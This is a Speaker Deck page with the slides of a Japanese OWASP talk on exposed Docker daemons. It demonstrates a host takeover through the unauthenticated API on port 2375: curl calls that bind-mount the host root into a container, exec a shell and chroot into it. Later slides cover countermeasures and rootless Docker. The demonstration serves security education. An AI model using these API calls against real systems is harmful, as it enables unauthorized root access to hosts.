$30 off During Our Annual Pro Sale. View Details »
Speaker Deck
Features
Speaker Deck
PRO
Sign in
Sign up for free
Search
Search
Docker 危険のキ!/Docker the beginning of danger
Search
yasu
February 10, 2020
Technology
1
240
Docker 危険のキ!/Docker the beginning of danger
OWASP Sendai Day 2020 での発表資料です。
yasu
February 10, 2020
Tweet
Share
More Decks by yasu
See All by yasu
Dockerとは
yasu8899
1
880
ML基本のキの一筆目
yasu8899
0
78
はじめての文字認識_改
yasu8899
1
490
rancheros-in-raspberrypi
yasu8899
2
450
5分で説明する RancherOS+Rancher2インストール / rancherosinstall
yasu8899
0
680
Other Decks in Technology
See All in Technology
TOAMI~投網~: フィッシングハンター支援用ブラウザ拡張ツール / TOAMI ~Casting Net~: Browser Extension Tool for Supporting Phishing Hunters
nttcom
1
110
20251127 BigQueryリモート関数で作る、お手軽AIバッチ実行環境
daimatz
0
410
Active Directory 勉強会 第 6 回目 Active Directory セキュリティについて学ぶ回
eurekaberry
16
5.7k
MySQL AIとMySQL Studioを使ってみよう
ikomachi226
0
130
HIG学習用スライド
yuukiw00w
0
100
インフラ屋さんはAIコーディングエージェントとどう生きるか/How infrastructure engineers interact with Kiro
ozawa
2
110
Modern Data Stack大好きマンが語るSnowflakeの魅力
sagara
0
260
Sansan Engineering Unit 紹介資料
sansan33
PRO
1
3.3k
"'TSのAPI型安全”の対価は誰が払う?不公平なスキーマ駆動に終止符を打つハイブリッド戦略
hal_spidernight
0
220
Design System Documentation Tooling 2025
takanorip
1
860
Kill the Vibe?Architecture in the age of AI
stoth
1
160
【5分でわかる】セーフィー エンジニア向け会社紹介
safie_recruit
0
37k
Featured
See All Featured
It's Worth the Effort
3n
187
29k
What's in a price? How to price your products and services
michaelherold
246
12k
Performance Is Good for Brains [We Love Speed 2024]
tammyeverts
12
1.3k
The Art of Delivering Value - GDevCon NA Keynote
reverentgeek
16
1.8k
Practical Tips for Bootstrapping Information Extraction Pipelines
honnibal
25
1.6k
Leading Effective Engineering Teams in the AI Era
addyosmani
8
1.2k
Building Better People: How to give real-time feedback that sticks.
wjessup
370
20k
GraphQLの誤解/rethinking-graphql
sonatard
73
11k
Evolution of real-time – Irina Nazarova, EuRuKo, 2024
irinanazarova
9
1.1k
Chrome DevTools: State of the Union 2024 - Debugging React & Beyond
addyosmani
9
1k
Typedesign – Prime Four
hannesfritz
42
2.9k
Art, The Web, and Tiny UX
lynnandtonic
303
21k
Transcript
Docker 危険のキ! OWASP Sendai Day 2020 令和 2年 2月 8日
oda@sendai
OS: CentOS Linux release 8.0.1905 (Core) Client: Docker: 19.03.5 Server:
Docker Engine: 18.09.1 上記のバージョンで確認しています。 環境
H オプション 知っていますか?
Dockerは、デーモンとクライアントに分かれている。 ・通常実行するdockerコマンドは、クライアントです。 ・dockerコマンドから指示を受け取って、 実際にコンテナ操作を行うのがdockerデーモンです。 ・指示はDocker Remote APIで行っている。 デーモンとクライアント
・dockerデーモンに指定した場合、tcpでlisten出来るようになる。 ・dockerクライアントに指定した場合、 リモートのdockerデーモンにアクセス出来るようになる。 Hオプション
修正するファイル(docker01) /etc/systemd/system/multi-user.target.wants/docker.service ExecStart=/usr/bin/dockerd -H fd:// ↓ ExecStart=/usr/bin/dockerd -H fd:// -H
tcp://0.0.0.0:2375 デーモンの再起動(docker01) $ sudo systemctl daemon-reload $ sudo systemctl restart docker 実際の設定
プロセスの確認(docker01) $ ps ax | grep docker XXXX ? Ssl
0:00 /usr/bin/dockerd -H fd:// -H tcp://0.0.0.0:2375 listenされていることの確認(docker01) $ sudo ss -tnlp LISTEN 0 128 *:2375 *:* users:(("dockerd",pid=1080,fd=3)) 実際の設定
コンテナの確認(docker01) $ sudo docker container run -d --name nginx01 nginx
852116acb341aa5・・・ $ sudo docker container ls CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES 852116acb341 nginx "nginx -g 'daemon of…" 35 seconds ago Up 33 seconds 80/tcp nginx01 コンテナの起動
別のマシンから実行する(docker02) $ docker -H tcp://XXX.XXX.XXX.XXX:2375 container ls CONTAINER ID IMAGE
COMMAND CREATED STATUS PORTS NAMES 852116acb341 nginx "nginx -g 'daemon of…" 2 minutes ago Up 2 minutes 80/tcp nginx01 ※この環境は、VirtualBox上で2台の仮想マシン(CentOS)を 起動しています。 XXX.XXX.XXX.XXX は、VirtualBoxを動かしている ホストのIPアドレスになります。 リモートしてみる
別のマシンから実行する(docker02) $ docker -H tcp://XXX.XXX.XXX.XXX:2375 image ls REPOSITORY TAG IMAGE
ID CREATED SIZE nginx latest 2073e0bcb60e 5 days ago 127MB hello-world latest fce289e99eb9 13 months ago 1.84kB リモートしてみる
API接続(docker02) $ curl XXX.XXX.XXX.XXX:2375/containers/json [{"Id":"852116acb341aa57417a45df4fdaa9f7f5e22547fa2146b9bc798614fc3bf 708","Names":["/nginx01"],"Image":"nginx","ImageID":"sha256:2073e0bcb60ee98 548d313ead5eacbfe16d9054f8800a32bedd859922a99a6e1","Command":"ngin x -g 'daemon
off;'","Created":1581089209,"Ports":[{"PrivatePort":80,"Type":"tcp"}],"Labels":{"ma intainer":"NGINX Docker Maintainers ・・・ dockerコマンドが使えるということは
API接続(docker02) $ curl XXX.XXX.XXX.XXX:2375/containers/json | python -m json.tool [ {
"Id": "852116acb341aa57417a45df4fdaa9f7f5e22547fa2146b9bc798614fc3bf708", "Names": [ "/nginx01" ], "Image": "nginx" dockerコマンドが使えるということは
API接続(docker02) $ curl XXX.XXX.XXX.XXX:2375/images/json | python -m json.tool [ {
"Containers": -1, ・・・ "RepoTags": [ "nginx:latest" ], ・・・ "RepoTags": [ "hello-world:latest" ], dockerコマンドが使えるということは
露出したDocker APIを介してコンテナに侵入する ボット型マルウェア「AESDDoS」について解説 投稿日:2019年7月9日 https://blog.trendmicro.co.jp/archives/21756 もうすでに ~ 一部抜粋 ~ ▪今回のAESDDoSによる攻撃について
今回確認された新しい攻撃では、攻撃者はまずTCP SYNパケットを、Dockerデーモ ンとの通信に使用されるデフォルトポートである2375に送信することによって、特定 のIP範囲を外部からスキャンします。
$ curl -X POST -H "Content-Type: application/json" \ -d '{"Image":
"nginx", "Mounts": [{"Source": "/", "Target": "/mnt", "Type": "bind"}]}' \ http://XXX.XXX.XXX.XXX:2375/containers/create {"Id":"123456789012345678901234567890","Warnings":null} ヤヴァいやつ1
$ curl -X POST -H "Content-Type: application/json" \ http://XXX.XXX.XXX.XXX:2375/containers/1234567890123456789 01234567890/start
実行の表示なし ヤヴァいやつ2
$ curl -X POST -H "Content-Type: application/json" \ -d '{"AttachStdin":
true, "AttachStdout": true, "Tty": true, "Cmd": [ "sh" ]}' \ http://XXX.XXX.XXX.XXX:2375/containers/1234567890123456789 01234567890/exec {"Id":"ABCDEFGABCDEFGABCDEFG"} ヤヴァいやつ3
$ curl -X POST -H "Content-Type: application/json" \ -d '{"Detach":
false, "Tty": true}' \ http://XXX.XXX.XXX.XXX/exec/ABCDEFGABCDEFGABCDEFG/start ※本当はここでコンテナ内のshellに繋ぎたかった。 パラメータが足りないのか、何も返ってきません。 Ctrl + c で止めます。 ヤヴァいやつ4
先ほど出来なかったので、素直にdockerコマンドで。 $ docker -H tcp://XXX.XXX.XXX.XXX:2375 container exec -it 123456789012345678901234567890 sh
# (コンテナの中です。) # ヤヴァいやつ5
# chroot /mnt sh-4.4# bash [root@ba4e368ef83c /]# ヤヴァいやつ6 この場所は、ホストのディレクトリツリーです。
[root@ba4e368ef83c /]# ps ax | grep docker XXXX ? Ssl
0:06 /usr/bin/dockerd -H fd:// -H tcp://0.0.0.0:2375 dockerデーモンは、当然ホスト上のプロセス いろいろと確認
[root@ba4e368ef83c ~]# docker container run -d nginx [root@ba4e368ef83c ~]# docker
container run -d nginx [root@ba4e368ef83c ~]# docker container run -d nginx [root@ba4e368ef83c ~]# docker container run -d nginx ・ ・ ・ いろいろと・・・
・FWやproxyを前面に立てる。 直接、APIをアクセスさせない。 対策
・TLS を有効にする 証明書を設定する。 APIにアクセスするときは、証明書で認証が必要。 Docker デーモンのソケットを守る http://docs.docker.jp/engine/articles/https.html#opensl-ca 対策
・リモート接続を使わない運用を考える。 なるべくssh でサーバにログインして、 unixドメインソケット接続する。 対策
・H オプションで指定できるIPは、 0.0.0.0 もしくは ホストのIPアドレスだけ。 誰もが接続可能で可能なので、非推奨です。 TIPC
dockerデーモンを非root権限で起動する。 Docker Ver 19.03 からの新機能。 Docker 19.03新機能 (root権限不要化、GPU対応強化、CLIプラグイン …) https://medium.com/nttlabs/docker-1903-5155754ff8ac
rootless docker
インストール手順 $ dnf install tar $ curl -fsSL https://get.docker.com/rootless |
sh $ echo 'export DOCKER_HOST=unix://$XDG_RUNTIME_DIR/docker.sock' >> ~/.bash_profile $ source ~/.bash_profile $ docker container run hello-world rootless docker
各コマンド・ファイルのパス ~/bin/docker ~/bin/dockerd ユーザ権限で動作する /var/run/user/1000/docker.sock ユーザ権限で動作する rootless docker
起動設定のファイル /home/user02/.config/systemd/user/docker.service 起動オプション ExecStart=/home/user02/bin/dockerd-rootless.sh --experimental --storage-driver=vfs ※実験的な機能かな?? rootless docker
起動コマンド $ systemctl start docker --user OS起動時に自動起動 $ systemctl enable
docker --user rootless docker
プロセスの確認 $ ps axu | grep docker user02 8525 0.0
1.2 109856 10480 ? Ssl 12:39 0:00 rootlesskit --net=vpnkit --mtu=1500 --slirp4netns-sandbox=auto --slirp4netns-seccomp=auto --disable-host-loopback --port-driver=builtin --copy-up=/etc --copy-up=/run /home/user02/bin/dockerd-rootless.sh --experimental --storage-driver=vfs user02 8532 0.0 0.9 109856 8136 ? Sl 12:39 0:00 /proc/self/exe --net=vpnkit --mtu=1500 --slirp4netns-sandbox=auto --slirp4netns-seccomp=auto --disable-host-loopback --port-driver=builtin --copy-up=/etc --copy-up=/run /home/user02/bin/dockerd-rootless.sh --experimental --storage-driver=vfs user02 8563 1.0 5.7 492804 48408 ? Sl 12:39 0:00 dockerd --experimental --storage-driver=vfs user02 8575 0.5 3.2 463220 26936 ? Ssl 12:39 0:00 containerd --config /run/user/1000/docker/containerd/containerd.toml --log-level info user02 8713 0.0 0.1 10284 1096 pts/0 R+ 12:40 0:00 grep --color=auto docker 全てユーザ権限!! rootless docker
rootless dockerで、ヤヴァいやつを試したかったのです が、 オプションを付けると起動しませんでした。 rootless docker
Docker 危険のキ! END